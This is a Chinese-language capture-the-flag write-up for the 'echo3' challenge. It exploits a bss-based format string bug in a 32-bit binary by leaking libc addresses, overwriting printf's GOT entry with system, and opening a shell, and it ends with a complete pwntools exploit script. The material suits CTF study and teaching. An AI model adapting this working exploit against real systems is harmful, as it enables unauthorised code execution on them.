保护很常规,是32位的程序,还是格式化字符串漏洞,但是是存储在bss上的格式化
主程序的alloca函数用来抬栈,而且每次是随机的,所以爆破一下,当泄漏出地址的时候再进行下一步操作
while True:
#p = process('./echo3',env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
p = remote('hackme.inndy.tw',7720)
payload = '%55$p.%14$p'
p.sendline(payload)
data = p.recvuntil('.',drop = True)
if data[-3:] == '637':
break
p.close()
__libc_start_main_ret = int(data,16)
stack_base = int(p.recvuntil('\n',drop = True),16) - 0x10
log.success('stack_base : 0x%x ' %stack_base)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
printf_got = 0x0804A014
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('system addr : 0x%x ' %system_addr)
然后将printf_got 改成system地址,由于每次最后改2字节,这里的改写很巧妙(跟M4x师傅学的操作很骚)
1.将栈上两个指针指向栈地址
改写前
这是调用printf函数前的栈结构,我们先将
0xffdd2028│+0x98: 0xffdd210c → 0xffdd2fd0 → "LD_PRELOAD=../libc-2.23.so.i386"
0xffdd202c│+0x9c: 0xffdd2104 → 0xffdd2fc8 → "./echo3"
改写成
0xffdd2028│+0x98: 0xffdd210c → 0xffdd1fbc → 0x080485d2 → <hardfmt+12> add ebx, 0x1a2e
0xffdd202c│+0x9c: 0xffdd2104 → 0xffdd1fdc → 0x0804877b → <main+236> mov eax, 0x0
改写后
2.修改栈上指针为printf_got,printf_got+2
改写前
0xffdd2104│+0x174: 0xffdd1fdc → 0x0804877b → <main+236> mov eax, 0x0
...
0xffdd210c│+0x17c: 0xffdd1fbc → 0x080485d2 → <hardfmt+12> add ebx, 0x1a2e
改写成printf_got,printf_got+2
0xffdd2104│+0x174: 0xffdd1fdc → 0x0804a014 → 0xf7603590 → <printf+0> call 0xf76d9bc9
...
0xffdd210c│+0x17c: 0xffdd1fbc → 0x0804a016 → 0x8446f760
改写后
3.最后修改printf_got,printf_got+2的指针为system&0xffff , (system >> 16 ) &0xffff
改写前
0xfff7291c│+0x2c: 0x0804a016 → 0x8446f759
...
0xfff7293c│+0x4c: 0x0804a014 → 0xf759b590 → <printf+0> call 0xf7671bc9
#printf_got,printf_got+2的指针改写成system&0xffff , (system >> 16 ) &0xffff
0xfff7291c│+0x2c: 0x0804a016 → 0x8446f758
...
0xfff7293c│+0x4c: 0x0804a014 → 0xf758cd80 → <system+0> sub esp, 0xc
改写后
4.发送/bin/sh,printf('/bin/sh')即system('/bin/sh')
修改成功
可以看到printf_got地址已经修改成system的地址
完整exp:
from pwn import *
import time
context.log_level = 'debug'
while True:
#p = process('./echo3',env = {"LD_PRELOAD": "../libc-2.23.so.i386"})
p = remote('hackme.inndy.tw',7720)
payload = '%55$p.%14$p'
p.sendline(payload)
data = p.recvuntil('.',drop = True)
if data[-3:] == '637':
break
p.close()
__libc_start_main_ret = int(data,16)
stack_base = int(p.recvuntil('\n',drop = True),16) - 0x10
log.success('stack_base : 0x%x ' %stack_base)
offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ad80
printf_got = 0x0804A014
libc_base = __libc_start_main_ret - offset___libc_start_main_ret
system_addr = libc_base + offset_system
log.success('system addr : 0x%x ' %system_addr)
sleep(1)
payload = '%' + str( (stack_base + 0x2c) & 0xffff ) + 'c%38$hn'
payload += '%' + str( ((stack_base + 0x4c) & 0xffff) - ((stack_base + 0x2c) & 0xffff)) + 'c%39$hn'
p.sendline(payload)
sleep(1)
#gdb.attach(p)
payload = '%' + str( printf_got & 0xffff) + 'c%93$hn'
payload += '%' + str( ((printf_got+2) & 0xffff) - (printf_got & 0xffff) ) + 'c%95$hn'
p.sendline(payload)
sleep(2)
payload = '%' + str( system_addr & 0xffff ) + 'c%19$hn'
payload += '%' + str( ((system_addr >> 16) & 0xffff) - (system_addr & 0xffff) ) + 'c%11$hn'
#gdb.attach(p)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()